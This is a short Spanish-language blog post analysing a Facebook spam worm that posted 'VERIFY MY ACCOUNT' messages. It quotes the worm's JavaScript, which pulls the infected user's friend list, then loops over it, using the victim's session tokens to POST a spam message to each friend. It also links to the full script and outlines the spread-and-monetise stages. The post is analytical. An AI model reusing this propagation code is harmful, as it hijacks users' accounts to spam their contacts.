Enviar Spamm a travéz de Facebook - ==>[VERIFY MY ACCOUNT]<==

Para terminar el ciclo de post del día de hoy, analizamos el código fuente del script que fué capaz de enviar miles de post no solicitados a travez de la famosa red social Facebook.

Codigo fuente del Script Spammer ( https://docs.google.com/document/d/1A4uxqtjr-nYoL3NNwE_wklrJPn67napJEBDWk2gsYno/edit?hl=es&authkey=CLuVkYoH ).

Bueno, el ataque consta de tres etapas principales:

1. Desarrollo del script worm (no, creo que éste sea su nombre correcto) donde se obtiene por GET el listado de amigos del usuario infectado, con una simple linea. gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);

Además, se inicia un ciclo donde por medio de ajax de Facebook se envia por POST el mensaje de Spam.

var urlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";
var paramswp = "&__d=1&app_id=6628568379&extern=0&" +
"&post_form_id=" + post_form_id +
"&fb_dtsg=" + fb_dtsg +
"&feed_info[action_links][0][href]=" + encodeURIComponent(jsText) +
"&feed_info[action_links][0][text]=" + encodeURIComponent(myText) +
"&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid +
"&user_message=" + message;

2. Creación e infección del primer usuario. Para lograr esto, los autores necesitaron una aplicación de Facebook o bien, utilizar el API de Facebook (Celulares) para el envío de los primeros POST con algun recortador de urls.

3. Difundir mensajes y comenzar a ganar dinero con publicidad.

Al parecer, en los primeros análisis el origen del error viene de las validaciones en aplicaciones para móviles.

Saludos!

De ultimo minuto, los monitores de Facebook han banneado las primeras URLS de los servidores donde se hospeda el fuente js, sin embargo, si no filtran los post los ataques seguirán. Este fue un ejemplo de Cross Site Scripting XSS bien hecho, saludos!

Ing Cruz. http://alfonsocruz.blogspot.com